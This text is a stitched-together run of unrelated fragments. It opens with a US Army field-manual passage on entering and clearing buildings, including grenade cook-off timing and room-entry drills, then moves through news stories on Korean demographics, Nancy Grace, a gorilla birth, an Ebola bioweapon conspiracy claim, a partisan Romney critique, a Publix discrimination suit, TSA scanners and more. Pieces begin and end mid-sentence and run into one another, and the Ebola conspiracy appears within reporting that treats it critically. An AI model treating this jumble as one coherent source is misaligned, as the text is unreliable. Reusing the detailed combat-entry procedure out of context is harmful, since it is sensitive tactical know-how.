planning for MOUT missions. This includes how the platoon will employ its organic weapons including snipers and other weapon systems it may have in support; for example, AC 130 or AH 64 aircraft. They must coordinate the use of marking systems to prevent casualties due to friendly fire. FM 90-10 and FM 90-10-1 provide additional techniques for platoons and squads in MOUT. REQUIRED ACTIONS: (Figures 3-10 and 3-11.) Figure 3-10. Enter and Clear a Building (platoon). Figure 3-11. Enter a Building and Clear a Room (squad). 1. The section or squad in contact reacts to contact. 2. The platoon gains suppressive fires. a. The section or squad in contact establishes a base-of-fire position. If mounted, the squad dismounts, establishes local security, and adds its suppressive fires against the enemy. If dismounted, the platoon leader, his RATELO, platoon FO, and the other squad leader move forward to link up with the squad leader of the squad in contact. b. The platoon sergeant repositions the BFVs, if necessary, to provide additional observation and supporting fires against the enemy. 3. The platoon leader determines that he can maneuver by identifying: a. The building and any obstacles. b. The size of the enemy force engaging the platoon. c. An entry point. (Assaulting squad should enter the building at the highest level possible.) d. A covered and concealed route to the entry point. 4. The base-of-fire element (the BFVs and squad in contact): a. Destroys or suppresses enemy weapons that are firing the most effectively against the squad. b. Obscures the enemy position with smoke (M203). c. Sustains suppressive fires. 5. The platoon leader designates the entry point of the building and directs one squad to enter the building and secure a foothold. 6. The squad leader directs the fire team in contact to support the entry of the other fire team into the building. 7. If necessary, the base-of-fire team repositions to isolate the building as well as continue suppressive fires. (Normally, the platoon has added its supporting fires against the enemy.) 8. The squad leader designates the entry point of the building. The platoon and squad shift direct fires and continue to suppress the enemy in adjacent positions and to isolate the building. The platoon FO lifts indirect fires or shifts them beyond the building. 9. The squad leader and the assaulting fire team approach the building and position themselves at either side of the entrance. (Soldiers should avoid entering buildings through doors and windows, because they will normally be covered by enemy weapons inside the building.) DANGER COOK-OFF TRAINING WITH LIVE FRAGMENTATION HAND GRENADES IS PROHIBITED. 10. Allowing cook-off time (two seconds maximum), and shouting FRAG OUT, the lead soldier of the assaulting fire team prepares and throws a grenade into the building. DANGER IF WALLS AND FLOORS ARE THIN, THEY DO NOT PROVIDE PROTECTION FROM HAND GRENADE FRAGMENTS. 11. After the explosion, the next soldier enters the building and positions himself to the right (left) of the entrance, up against the wall, engages all identified or likely enemy positions with rapid, short bursts of automatic fire, and scans the room. The rest of the team provides immediate security outside the building. a. The size and shape of the room may cause the soldier entering the room to move to the left or right. The first soldier in the room decides where the next man should position himself and gives the command NEXT MAN IN, LEFT (or RIGHT). The next man shouts COMING IN, LEFT (RIGHT), enters the building, positions himself to the left of the entrance, up against the wall, and scans the room. Once in position, he shouts NEXT MAN IN (RIGHT or LEFT). b. Depending on the enemy's situation, the size of the entry and the training of the squad, two soldiers can enter the room simultaneously after the grenade detonates. The soldier from the right side of the entry enters, fires from left to right, and moves to right with his back to the wall. At the same time, the soldier on the left enters from the left, fires from right to left, and moves to the left with his back to the wall. One soldier goes high, the other low, to prevent firing at one another. This method puts more firepower in the room more quickly, but is more difficult and requires more practice. When both soldiers are in position, the senior soldier gives the command NEXT MAN IN (RIGHT or LEFT). 12. The assaulting fire team leader shouts COMING IN (RIGHT or LEFT), enters the building initially moving left or right and against the wall, and positions himself where he can control the actions of his team. He does not block the entrance way. He makes a quick assessment of the size and shape of the room, and begins to clear the room. He determines if the remaining man in his team is required to assist in clearing the room. a. If the team leader decides to bring the last man in, he shouts NEXT MAN IN LEFT (or RIGHT). The last man in the fire team shouts COMING IN LEFT (or RIGHT), enters the building, and begins to clear through the room. b. If the team leader decides not to bring the last man in, he shouts NEXT MAN, STAND FAST. The last man remains outside the building and provides security from there. The team leader then directs the soldier on the right of the entrance to begin clearing. The team leader reports to the squad leader and then assumes the duties of the soldier on the right of the entrance to provide support. DANGER WHILE CLEARING ROOMS, SOLDIERS MUST BE ALERT FOR TRIP WIRES AND BOOBY TRAPS. THEY SHOULD NOT EXPOSE THEMSELVES THROUGH OPEN WINDOWS OR DOORS. 13. Once the room is cleared, the team leader signals to the squad leader that the room is cleared. 14. The squad leader enters the building and marks the entry point in accordance with the platoon SOP. The squad leader determines whether or not his squad can continue to clear rooms and still maintain suppressive fires outside the building. Normally, it takes a platoon to clear a building. GO TO:BUSINESS Aging population may be both bane and boon [News Focus] By Kim Kyung-ho Korea’s rapidly aging population is usually considered a major drag on long-term growth, however, there might also be some benefits to it. In a report released last week, global rating agency Standard & Poor’s predicted that the country’s proportion of aging population-related government spending to gross domestic product would rise from 7.7 percent in 2015 to 17.8 percent in 2050. The rate of increase is the fourth fastest among the 58 countries surveyed and the most rapid among the 34 nations categorized as advanced economies. Korea’s political parties are certain to churn out a raft of pledges to win support from the more than 10 million senior voters aged 60 and above in the lead-up to next year’s presidential election. It is also widely perceived that increased life expectancy holds back growth as it tends to lead to people cutting their spending to prepare for a longer post-retirement life. A baby born here in 1970 was expected to live for less than 62 years. The average life expectancy for Koreans rose to 76 years old in 2000 and 82.4 in 2014. Departing from convention, recent reports released separately by two local research institutes highlighted the positive effects of extended life expectancy on the Korean economy, stressing the need for policies that can help the aging population to enhance rather than undermine the competitiveness of the country. The Korea Development Institute, a state-run think tank, noted in a report that extended life spans reduce consumption in the short run but eventually boosts the economy through an accumulation of capital, which encourages spending and investment. According to an analysis by KDI, an extension of life expectancy by half a year results in a 0.3 percent rise in savings and a 0.39 percent drop in consumption in the following year. In two decades, however, the annual rate of increase in savings decelerates to 0.19 percent and consumption rebounds to a 0.33 percent increase. The KDI report estimated that Korea’s increased life expectancy has helped boost its economic growth by 0.4 percentage points over the past 15 years, noting it may cushion the impact of a decline in the country’s growth potential. “It is important to foster structural conditions that help prompt increased savings to be invested and create demand for the expanded elderly workforce,” said Kwon Kyu-ho, a KDI researcher. A report published by Hyundai Research Institute last week said that the economic role of seniors would be much greater in what is called the “senior shift” society, in which most laborers and consumers are made up of the elderly. The size of senior-friendly industries, which has shown annual double-digit growth in recent years and is currently worth 27 trillion won ($22.9 billion), is projected to expand to 78 trillion won by 2020, according to the report. “The government should implement more proactive policies in relation to population aging,” said Chang Hu-seok, a researcher at HRI. He suggested more incentives should be offered to companies to encourage them to employ more senior workers. Keeping as many of them as possible in the workforce is needed to reduce the country’s elderly poverty that has been deteriorating over the past years. There is also much work to be done to strengthen social safety nets. According to data from the Organization for Economic Cooperation and Development, 49.6 percent of elderly Koreans lived in poverty in 2012, far above the 12.6 percent average for the group’s 34 member states. Korea’s elderly poverty rate even surpasses that of Japan, the world’s most aged country, which stood at 19.4 percent in the cited year. Aside from growing criticism of political populism, further expanding benefit programs seems necessary to help the country’s many elderly citizens who face economic predicaments. But it may be beyond Korea’s fiscal means to completely finance social safety nets that cater to its rapidly aging population. S&P warned that without a proper policy response, Korea is likely to see its sovereign rating downgraded by five notches from the current “AA minus” to “BBB” in 2050. A growing number of politicians and experts have called for raising taxes to fund welfare increases. However, it still seems that they will have to pay equal or more attention to helping elderly people earn more income on their own in keeping with the rapid aging of the population. (khkim@heraldcorp.com)During her 12-year run on Headline News, Nancy Grace has earned her fair share of fans and critics alike for her pointed interviewing techniques. On Tuesday, however, the prosecutor-turned-TV host found herself as the target of an unexpected cross-examination during a SiriusXM radio interview. While Grace expected to discuss her new book and made-for-TV movie on the “Jim Norton and Sam Roberts Show,” things didn’t quite go that way, and she wound up abruptly walking out after just 12 minutes: This was as close as I came to a Nancy Grace photo-op on @JimandSamShow today- did I say the wrong thing? pic.twitter.com/uukoAQPDjg — Sam Roberts (@notsam) October 11, 2016 The interview started out cordially enough, with the trio discussing Grace’s recently announced departure from Headline News. It was just a little over a minute in, however, when Jim Norton — who’s also a comedian, author and actor — said: “I’ll be honest, I had a problem with you for a long time because I felt like you were capitalizing on tragedies.” Norton went on to argue that Grace’s use of hashtags to identify criminal cases — such as referring to Casey Anthony as #TotMom — was evidence that she was sensationalizing these crimes for personal benefit. Though Grace argued that her show was all about victim advocacy, the hosts refused to let it go — and things got pretty intense: Eventually, Grace lashed out at the two hosts, saying: “Okay, let me just set it straight right now. I’m sorry that you guys clearly don’t like what I do… You haven’t asked one decent question since I walked in here. Everything both of you have asked has been an attack.” Though the conversation did briefly turn to Grace’s new projects, it was clear they weren’t going to let it go, prompting her to suddenly interject with: “Oops, I think our time
said the biggest problem is working through the Food & Drug Administration regulatory process because it takes some time to get approval for changing the products," says David Ullrich, executive director of GLSLC. "None of them said that it was a financial issue." Follow Allison Elkin on Twitter: @allison_elkinFriend of the blog, podcast, and an indoctrinated Pac-12 socialite, Zack Rosenblatt, makes his second appearance on the Podcast of Champions (an All-Time guest record). In fairness to listeners and in my lifelong commitment to transparency, this is an Arizona heavy podcast. Rosenblatt – who’s a terrific reporter for the Arizona Daily Star – had just left his floor seats at McKale (Arizona 90, Bradley 60) and is in the heat of college hoops and football coverage. He had plenty to share while Spencer and I streamed an evening’s worth of the CBB marathon. Stick around for Rosenblatt’s account of Sean Miller talking to an official. Of note: This isn’t all Arizona everything. We absolutely discuss Luke Falk as First Team QB and his concussion, Bryce Alford, possible bowl scenarios, and other round ball topics. And remember: Subscribe on iTunes!‘Ni kijana!’ is Swahili phrase that means ‘It’s a boy!’ This exciting exclamation was heard on September 3rd when we celebrated the arrival of a new baby in the gorilla family troop at Disney’s Animal Kingdom! Our avid Disney Parks Blog readers might be thinking, “Didn’t you just announce a new gorilla baby?” Yes, we did! This is the second gorilla birth this year, and the fifth in the park’s history. The first gorilla birth at Disney’s Animal Kingdom occurred in 1997 before the park opened, the second baby arrived in 1999 and the third was born in 2010. Western lowland gorillas are born with dark brown to black hair, black skin, and brown or reddish hair on their head. Mature males of breeding age develop silver or gray coloring on their backs and are consequently known as “silverbacks.” Juvenile and young-adult male gorillas are called “blackbacks” because they have yet to develop the silver markings. The diet of Western lowland gorillas is very diverse, including over 200 distinct species of plants, mainly leaves, buds, shoots, roots, bark and fruit. In the tropical rainforests of western Africa where they live, termites and ants are also great snack options. Unfortunately, West African rainforests are shrinking due to human encroachment and land clearing connected to agriculture and other pressures. Coltan is a mineral used in the production of cell phones, and mining for this mineral makes habitats unsuitable for gorillas and other wildlife. Recycling old cell phones and other electronics is a great way to reduce the need for coltan mining and, in turn, help conserve these amazing animals and their habitat. All Western lowland gorilla babies born at Disney’s Animal Kingdom have been a part of the Association of Zoos and Aquariums’ (AZA) Species Survival Plan (SSP), which ensures long-term survival of species by helping AZA-accredited zoos and aquariums manage species’ genetic diversity through detailed records of individual animals. Western lowland gorillas are a critically endangered species that face threats that include disease and illegal bushmeat hunting in the wild. In addition to supporting the gorilla SSP, Disney also contributes to gorilla conservation through the Disney Worldwide Conservation Fund (DWCF), which has provided more than $700,000 in conservation grants to 14 nonprofit organizations focused on research and conservation of Western lowland gorillas, cross-river gorillas, Grauer’s gorillas and mountain gorillas. While we celebrate and welcome the newest baby gorilla here at Disney’s Animal Kingdom, remember that you can join us in taking action to help gorillas and other wildlife. Recycle old cell phones to protect gorillas’ habitats from mining, and visit Disney.com/conservation to learn more about Disney’s conservation efforts and discover new ways to support conservation near you! If you missed the last gorilla baby announcement, click here to view the story and catch up on all the excitement!Dr. Cyril Broderick (University of Delaware) A Liberian-born professor of plant physiology at Delaware State University wrote an editorial in one of Liberia’s most influential newspapers claiming that the United States Department of Defense and a Canadian pharmaceutical company are responsible for the current Ebola outbreak in Africa, the Washington Post reports. In the editorial, “Ebola, AIDS Manufactured by Western Pharmaceuticals, US DoD?”, Dr. Cyril Broderick alleged that Ebola is a virus manufactured by the “American-Military-Medical-Industry that conducts biological weapons tests under the guise of administering vaccinations to control diseases and improve the health of ‘black Africans overseas.'” As evidence, Dr. Broderick cited a work of popular science, Richard Preston’s The Hot Zone. “I am now reading The Hot Zone, a novel, by Richard Preston [and] it is heart-rending. The prolific and prominent writer, Steven King, is quoted as saying that the book is ‘One of the most horrifying things I have ever read. What a remarkable piece of work.'” He claimed that the book is “terrifying” but “very factual” because “the pathological description of what was found in animals killed by the Ebola virus is what the virus has been doing to citizens of Guinea, Sierra Leone and Liberia in its most recent outbreak.” He also accused the World Health Organization (WHO) and the United Nations (UN) of “selecting and enticing African countries to participate in the testing events, promoting vaccinations, but pursuing various testing regiments.” Dr. Broderick’s evidence for such claims, however, is that “reports narrate stories of the United States Department of Defense (DOD) funding Ebola trials on humans, trials which started just weeks before the Ebola outbreak in Guinea and Sierra Leone.” The Canadian pharmaceutical company Tekmira did issue a press release shortly before the outbreak in which, as Dr. Broderick claimed, the Department of Defense’s Joint Project Manager Medical Countermeasure Systems is “implicated” in a $140 million contract to develop an Ebola vaccine. Dr. Broderick wrote that the testing began in January, “shortly shortly before an Ebola epidemic was declared in West Africa in March,” although he failed to provide any evidence linking the two events — it is not even clear that Tekmira’s clinical trial was performed in Africa. To Dr. Broderick, however, it is “clear” that “many reports also conclude that the US government has a viral fever bioterrorism research laboratory in Kenema, a town at the epicentre of the Ebola outbreak in West Africa.” The alleged DOD bioweapons lab in Kenema has also been linked to George Soros and the Bill and Melinda Gates Foundation. Dr. Broderick’s editorial was published less than a week after four Ebola health workers and three journalists were murdered by paranoid residents of a rural village, who were suspicious of foreigners because of rumors that they could have played in spreading the deadly disease. When asked by the Post whether his editorial might create more distrust of Western doctors, Broderick would only say, “I refer you to the articles and reports published. I hope you can understand them. They are unambiguous. I am happy that our government has taken the lead in counteracting the infection to curtail the infections and death.”“In yet another instance of Mitt Romney’s campaign not telling the truth, it turns out that the numbers behind his ‘jobs plan’ just don’t add up. For months, Romney has pledged to create 12 million jobs over his first term—a number economists project will be created under current policy—but the numbers he’s cited for his claims aren’t based on evaluations of his plan and are ‘squishy’ at best. Mitt Romney thinks he can run out the clock by not coming clean about policy details, but the American people deserve the truth about his plans. And the truth is that economists have concluded that the severe cuts he would make like education, research and development, manufacturing and infrastructure could eliminate 1 million jobs and shrink economic growth by 1 percent.” The Obama campaign responds to the Glenn Kessler's debunking of Mitt Romney's bogus jobs plan math:There's no question about the fact that Mitt Romney's jobs plan math is as bogus as his tax plan math, and that they are both as bogus as Paul Ryan's weekend photo-op rewashing dishes at a charity even though the dishes had already been cleaned and the charity hadn't invited him. As Greg Sargent says, Romney's fraudulent claim should be a big story—the only question is whether it will be treated like one. Part of the answer rests in the media's hands, but in the end it's going to be up to the Obama campaign—and President Obama himself—to make this an issue and to hold Mitt Romney accountable for his dishonest campaign rhetoric.Publix Super Markets’ strict grooming standards have the clean-cut grocery chain in hot water with federal anti-discrimination authorities. The Equal Employment Opportunity Commission is suing the Lakeland-based grocer, alleging religious discrimination for telling a new hire to cut his dreadlocks to work there. Guy Usher, a Rastafarian, was hired to work at a Publix store in Nashville, Tenn. However, the lawsuit said, he was asked to cut his hair before he started work. Adherents to Rastafarianism often don’t cut their hair. He had to quit before he started because of the grooming requirements, the lawsuit said. The EEOC is seeking injunctive relief, as well as back pay, compensatory and punitive damages, in Tennessee federal court. “Usher told the manager he could not cut his hair because of his religion and asked if he could wear his hair in a hat,” a release from the EEOC said. “Management refused to allow the hat or any other reasonable accommodation, and he was forced to quit before his first day of work.” Publix has been criticized in the past for its strict grooming code that requires men to wear clean-cut hairstyles and eschew beards. In 2015, an online petition to allow beards at Publix gathered more than 16,000 supporters, but the facial-hair doctrine remained. Publix said it does not comment on pending litigation, but did offer a response. “At Publix, we value and appreciate the diversity of all of our associates,” the statement from Publix spokeswoman Maria Brous said. “We work to provide environments where known religious beliefs and practices of our associates and applicants are reasonably accommodated. As I'm sure you can understand, it would be inappropriate for us to comment specifically on this case, as it is pending litigation. However, please know that we are dedicated to the employment security of our associates and that we regularly provide accommodations to associates due to their religious beliefs, as required by law.” It’s not the first time a company has faced legal issues over dreadlocks. Federal courts have also ruled that banning dreadlocks is not racial discrimination during the hiring process. The Safeway grocery chain was sued and settled in 2011 a suit over dreadlocks. The EEOC also sued a Disney World contractor, HospitalityStaff, in 2016 on behalf of a Rastafarian cook allegedly fired for having dreadlocks. HospitalityStaff settled the case for $30,000. As part of the settlement, the contractor also agreed to conduct religious-discrimination training, change policies to protect employees from religious discrimination and make yearly reports to the EEOC. In the case against Publix, the EEOC said in the lawsuit involves a potential employee’s “sincerely held religious belief.” "Management officials have a responsibility to consider all reasonable requests to accommodate employees' religious beliefs and practices," said a statement from Katharine W. Kores, district director of EEOC's Memphis District Office. Publix is a privately traded company owned by current and former Publix employees and directors. The case has similarities to a 2015 U.S. Supreme Court ruling that said teen retailer Abercrombie and Fitch was wrong for not hiring an American Muslim teen who wore a hijab. Abercrombie said the hijab did not fit Abercrombie’s “look policy.” Rastafarianism, an Abrahamic religion, requires adherents to not cut hair based on a line in the Old Testament’s Book of Numbers, which says with certain religious volunteers “not a razor shall come upon his head.” Got a news tip? karnold@orlandosentinel.com or 407-420-5664; Twitter, @kylelarnold or facebook.com/bykylearnoldWhen “Stay Woke” showed up as a category in Friday’s screening of “Jeopardy!,” progressives on social media were elated, thinking that it would advance their ideology and promote social justice to a nationwide audience. Their hopes were dashed to pieces when the game show revealed the term to be nothing more than a play on words — which should be expected, given the show’s fierce love of puns. The term “woke” arose to public prominence during the height of the Black Lives Matter protests in 2015, when its proponents would encourage others to “stay woke” to the “realities” of living under a system of “white supremacy.” The definition of “woke” was even recently added to the Oxford English Dictionary, following years of use. Given its status in the lexicon, it’s no surprise that some progressives would be under the mistaken belief that the long-running game show would be using the term exactly as they (the progressives) do. As with everything else on Jeopardy, the term was meant as a play on words, to be taken in literal terms to refer to staying awake. The first question that popped up reads: “This substance many use to stay awake can lead to tremors & anxiety at 500 mg/day; the average American consumes 300.” It was at that point that progressives, realizing the ruse, expressed anger and outrage at the show for making light of their cause. Feminist vertical The Mary Sue condemned Jeopardy for what it considers to be a very problematic low blow against their ideology. “We all know Jeopardy is going to go for a pun where it sees one, but perhaps ideologies centered around fighting racism and other social injustices shouldn’t be their target,” wrote Vivian Kane. “As is, the show’s take on wokeness is anything but.” But commenters weren’t impressed by the site’s attempt to virtue signal, with many calling out Kane for being too readily offended. “I’ll be honest, whenever I think of Jeopardy, I think of Will Ferrell’s impression. Also, in my personal opinion, this really isn’t bad at all. Jeopardy constantly has puns,” wrote one reader. “I’ll take “Trolling” for $600, Alex,” said another.2/13/2012 update: This story has led to new legislation being introduced in the U.S. Senate. Click here for that part of the story. DALLAS (CBSDFW.COM) – Women passengers complain that TSA agents are targeting them for extra screening. The Transportation Security Administration has a policy to randomly select people for extra screening, but some female passengers are complaining. They believe there is nothing “random” about the way they were picked. A Dallas woman says TSA agents repeatedly asked her to step back into a body scanning machine at DFW International Airport. “I feel like I was totally exposed,” said Ellen Terrell, who is a wife and mother. “They wanted a nice good look.” When Ellen Terrell and her husband, Charlie, flew out of DFW Airport several months ago, Terrell says she was surprised by a question a female TSA agent asked her. “She says to me, ‘Do you play tennis?’ And I said, ‘Why?’ She said, ‘You just have such a cute figure.’” Terrell says she walked into the body scanner which creates an image that a TSA agent in another room reviews. Terrell says she tried to leave, but the female agent stopped her. “She says, ‘Wait, we didn’t get it,’” recalls Terrell, who claims the TSA agent sent her back a second time and even a third. But that wasn’t good enough. After the third time, Terrell says even the agent seemed frustrated with her co-workers in the other room. “She’s talking into her microphone and she says, ‘Guys, it is not blurry, I’m letting her go. Come on out.’” When TSA agents do a pat down on a traveler, only female agents are allowed to touch female passengers. But the TSA allows male agents to view the images of female passengers. Ellen and Charlie Terrell are convinced that the extra screenings were unnecessary, possibly even voyeuristic. “I think it’s sexual harassment if you’re run through there a third or fourth time,“ responded Texas State Representative Lon Burnam of Fort Worth. “And this is not the first time I have heard about it,” said Burnam, who adds that a number of his constituents have voiced concerns about privacy. CBS 11 News dug through more than 500 records of TSA complaints and found a pattern of women who believe that there was nothing random about the way they were selected for extra screening. TSA redacted the names of the passengers who complained, but here are quotations from several complaints. “I feel I was targeted by the TSA employee to go through the see-you-naked machine because I am a semi-attractive female.” “The screener appeared to enjoy the process of picking someone rather than doing true random screening. I felt this was inappropriate. A woman behind me was also “randomly selected.” “TSA staff ‘trolling’ the lines looking for people to pull out was unprofessional.” “After that, I saw him going to the private room where x-rays are, to speak to the guy on that room.” “I know he went to that room to see my naked body through the machine with the other guy.” “When I looked around, I saw that there were only women that were “told” to go through this machine. There were no men.” “Maklng American citizens unwilling victims of a peep show by TSA employees using full body imaging devices is an over-the-top invasion of privacy to which I strenuously object.” CBS 11 News first contacted the TSA in mid-January to request a one-on-one interview on camera. A TSA spokesperson told us that no one was available for that kind of interview. The TSA held a news conference the following week. “Privacy issues is the main point,” said Amy Williams, Federal Security Director for Dallas Love Field. At the news conference, the TSA announced that DFW and Love Field airports now have all-new scanning machines. The updated technology shows a only a generic-body outline which highlights potential threats. “With the old technology, we had to have an image room that was separate from the equipment,” says Williams. The older scanners, which create more detailed individual x-ray like images, are still used in 39 airports across the country. “It just makes me wonder what’s going on. Are they doing this all over the country? They’re missing their focus,” said Charlie Terrell. “You just feel like your privacy has been violated,” says Ellen Terrell. Ellen Terrell told CBS 11 News that she did not file a complaint because she did not realize that she had that option. Passengers may not be aware that they also can opt out of the scanner by requesting a pat-down screening instead. The TSA provided CBS 11 News with the following statement in response to our investigation. “TSA does not profile passengers. All of our millimeter wave technology units including those in Dallas have been upgraded with additional privacy enhancements that no longer display passenger-specific images. Even prior to this upgrade, officers reviewing the images were located in a separate room and would have never seen the passenger being screened. To further ensure passenger privacy and anonymity, a privacy filter was applied to blur all images. The technology remains optional to all passengers.” — Kristin Lee, Assistant Administrator, Office of Strategic Communications & Public Affairs, Transportation Security Administration A TSA spokesperson told CBS 11 News that it is not protocol to send a passenger back into a scanner more than once. He said the agency takes all complaints seriously and urges consumers to file complaints if they have a problem. He said airports store video of checkpoints for at least 30 days and complaints filed within that timeframe may be reviewed using the video. He added that passengers can notify a TSA supervisor on location to make a complaint. Also Check Out:James Jordan (Photo: Booking) PRATTVILLE — A Prattville man has pleaded guilty to lesser charges in the shooting of his then girlfriend. CLOSE A Prattville man enters a guilty plea in the shooting of his then girlfriend. Marty Roney/ Advertiser James Brandon Jordan, 24, pleaded guilty to assault and domestic violence Monday morning before Circuit Judge Ben Fuller in Autauga County Circuit Court. He was originally indicted on a charge of attempted murder, courthouse records reflect. The victim requested that the state offer a lesser charge, said Jessica Sanders, the assistant district attorney handling the case. Jordan’s recommended sentence is 20 years in prison, court records show. He is set for sentencing on Sept. 1. Jordan must also pay restitution in the amount of $607,194.45, with most of that amount coming from the medical bills of the victim. In January 2015, Jordan shot the victim after they got into an argument in a home the couple shared on Simmons Road, he told Fuller. He appeared before the bench dressed in blaze orange jail garb and restrained by handcuffs. The victim and Jordan were both doing drugs at the time, he said. She attempted to leave the home during the argument, Jordan said. “You took a gun and intentionally shot at her as she was leaving?” his attorney, Michael Kidd, asked. “Yes,” Jordan answered. She was shot in the hip. Statements brought out in previous court proceedings showed that she laid outside overnight before she was discovered. Investigators with the Prattville Police Department reported that she was shot at about 1 a.m. and was found about 7 a.m. Jordan has remained in the Autauga Metro Jail under a bond of $60,000 since his arrest. Read or Share this story: http://on.mgmadv.com/2a0RVoQTwenty years ago this week, when the BBC News website launched, there were fewer than eight million people online in the UK - there are now about 60 million. In 1997, it was the age of Tamagotchis, Minidiscs and PalmPilots. Mobile phones at the time included the Nokia 6110 and the futuristic Motorola StarTAC flip phone. Most people used dial-up internet connections with top speeds of up to 56Kbps. On desktop, screen resolutions were pretty small - but they would get bigger. Below there's a selection of the website's pages from 1997 to 2017, showing how it has evolved to meet the changing needs of users while still offering the latest news, features and analysis. 1997 - Rising star BBC News Online launched in November 1997, following several forays on the internet, covering: the Budget in 1995 the Olympics in 1996 the general election in May 1997 the funeral of Diana, Princess of Wales, in September 1997 CNN's website was already up and running. The Guardian was also among the early internet pioneers. The BBC News website was only 620 pixels wide at its launch - that is slightly more than half the width of the current site. In the first week or so, stories published on the new website included: 1999 - Blue to red In November 1999, the site had its first revamp. The old blue banner and red star was replaced with a red header more in line with the rest of BBC News, and the search function moved to the top of the page. The website's then executive editor, Mike Smartt, explained the changes to users and promised "ambitious plans for audio and video news". 2001 - Terror attack The attack on the Twin Towers in New York in September 2001 shocked the world, and large numbers turned to the BBC News website to find out the latest information. Several years before social media, thousands of people emailed the website with their thoughts - including many caught up in the attacks. For the first time, content from users became central to online coverage, with compelling witness accounts and photos published in stories and in a special report on the disaster. 2003 - Major overhaul In 2003, the old linear format was dropped in favour of a wider, horizontal layout. The aim was to make the site easier for users to find their way around and see more stories at first glance. 2008 - Cleaning up In 2008, the site got even wider, and for the first time video could be played from within story pages. The world map in the navigation was dropped a couple of years later. 2010 - Major revamp In 2010, the website got a "fresh, updated design", which also offered "easier ways to share stories with others", according to the then editor, Steve Herrmann. By now, increasing numbers of users were coming to the news website from Facebook and Twitter. The BBC News app was launched in July 2010, giving users quick access to all the latest headlines from across the world while they were on the move. The biggest story of the year was the UK general election, which had its own special report site. 2015 - Mobile friendly In 2015, the website became "responsive" - meaning its layout was designed to display well on different devices and screen sizes. By this point, about 65% of users were coming to the news website from mobiles and tablets. NHS tracker 1999 v 2017 The look might change, but that doesn't mean we're not covering the same important issues. Here's the NHS performance tracker from 1999, when the government of the day published a new set of clinical indicators giving death rates in individual hospitals in England for the first time. With the NHS under unprecedented pressure today, we still give users the chance to examine data on how services in their area are doing, using a more detailed, interactive tracker. Slice and easy We managed to squeeze in a further redesign for 2017. News editors can change the number of stories in the full-width, horizontal slices, with the option of "dialling up the volume" during major news events. We can now offer a more visual front page. Dropping the right hand side column and going full-width means video and news stories are integrated on the page. .Saturday, June 6, 2015 at 2:01PM There is over ELEVEN hours of IGTM films, extras, shorts & commentaries available in the Indie Game: The Movie Special Edition. We thought it might be helpful to list out EVERYTHING currently out there... The following is available as part of the IGTM Special Edition. Available in both DVD/Bluray and digital versions. The Feature Film: The main film at the centre of it all. Available in 24 different languages. COMMENTARIES Team Meat Audio Commentary (Feature Film): Tommy and Edmund provide a soundtrack/commentary that transforms IGTM into one of the funniest movies you’ll ever watch. Seriously, if you haven’t viewed the movie this way, you are seriously missing out. Director’s Commentary (Feature Film): Lisanne Pajot and James Swirsky share insight and behind-the-scenes knowledge of the making of IGTM. Not nearly as funny as the Team Meat commentary, but hopefully somewhat informative. Team Meat Audio Commentary (Special Edition Films): Once again, Tommy & Edmund provide hilarious commentary and insight. This time, they take on the Indie Game: Special Edition new films & extras. Indie Game: The Movie (Family Friendly version): A version of the original movie cleaned up for general consumption. All audio swears and on-screen profanity have been removed so you can safely share it with more sensitive viewers. SHORT FILMS, EPLIOGUES, DELETED SCENES Phil’s Epilogue: Phil Fish is back in Montreal and in limbo. FEZ is finally finished and awaiting release. Will his 5 years of work be appreciated by players & recognized at the Independent Games Festival? Filmed after the initial production of IGTM. (short film) Phil & Japan: At a IGTM screening, Phil Fish is asked about his thoughts on modern Japanese video games. And, he tells the audience what he thinks. The Internet proceeds to explodes. Watch the question, the answers from the panel & his take on the Internet aftermath. (short film) Edmund’s Epilogue: Filmed well after the release of Super Meat Boy and IGTM, Edmund McMillenʼs games are now smash hits. Despite his life-changing success, Edmund continues to create. How he finds inspiration, motivation and lives a creative life. (short film) Tommy’s Epilogue: Tommyʼs his new life, new city, new love & new cars. This piece was filmed specifically for the IGTM Special Edition, well after the release of Super Meat Boy and IGTM. (short film) Danielle’s Epilogue: Edmundʼs wife Danielle talks about her life after, Cats and Cat-lady-ness. (short film) Edmund and teh Internets: Edmund shares the story of why he left the Internet. (short film) Tommy and teh Internets: The story behind Super Meat World, trolls & Tommyʼs epiphany about the Internet. (short film) Tommy: The Day After: Shot the day after Super Meat Boyʼs first release, Tommy reflects his feelings in the moment and having a programmer brain. (Lost Scene) The Art of Braid: The thoughts & technique behind the imagery; Artist David Hellman talks about Braid’s handmade art & themes. (short film) Passage: Jason Rohrerʼs game will make you cry. Or maybe it wonʼt. Find out about his design process & his take on the reaction to Passage. (short film) Spelunky: Game designer & artist, Derek Yu reveals his meticulous level design process to create the randomly-generated world of Spelunky. ELISS: Becoming an indie game-maker. How code, the process of discovery and developments in mobile phones, changed the life of Steph Thirion. Hear the story of the award-winning iOS game, Eliss. (short film) David & Clouds: David Hellman looks at the iterative nature of making video game art. (short film) GAMEJAM: Wanna make a game? Hereʼs some inspiration from some TIGJam game makers. Tri-Achnid: Edmund discusses one of the early physics-based side scrollers, Tri-achnid. AVGM: Click. Click. Click. Click. Edmund shares insight into his mysterious game, AVGM. COIL: The inspiration and story behind Edmundʼs experimental game, Coil. What did he learn about the use theme in gameplay? Phil Watches Phil: Phil Fish watches Indie Game: The Movie for the first time. The C Word: Edmund tells the story of his controversial game, The C Word. Available only on DVD, BLURAY and on indiegamethemovie.com (short film) Control: Edmund & Tommy talk about the control design in Super Meat Boy, the need for precision and good feels. (short film) Canabalt: Developer Adam Saltsman talks about the design, sound and art behind the iOS hit game, Canabalt. (short film) MEGA 64’s IGTM Trailer: The comedy group, Mega64, re-cuts/re-imagines the IGTM trailer. (parody trailer) Edmund Collections: Edmund shows us some of his favourite things from around the world. (short film) IGTM Goes to TIGJAM: A GameJam short film full of coding, fun, creation and games, but severely devoid of sleep. With Appearances by Alec Holowka (Aquaria, Night in the Woods), Adam Saltsman (Canabalt, Hundreds), Kyle Pulver (Snapshot), Matthew Wegner (Aztez) and many more. (short film) IGTM Gears Up: A short video detailing the equipment used to shoot IGTM. If you’re an interested, this video and blog post is for you … and likely only for you :) BTS FEATURETTES and FULL Q&A's (Available on on physical DVD and Bluray editions) IGTM Cast and Crew Q&A: A full hour long question and answer with the cast & crew of the movie. Filmed at GDC, following the public premiere of IGTM. (Extended Interview) Indie Game: Behind the Movie: A full behind-the-scenes documentary about the making of the film. (Short film). The Binding of Isaac: Origins: Edmund discusses how and why The Binding of Isaac came to be. (Extended Interview) The Binding of Isaac - Mechanics: Edmund discusses the design process that makes BOI work. (Extended Interview) Jon Blow - Indie Game History: Jon gives a outline of Indie Game history. (Extended Interview) Jon Blow - Game Narrative: Jon discusses the place 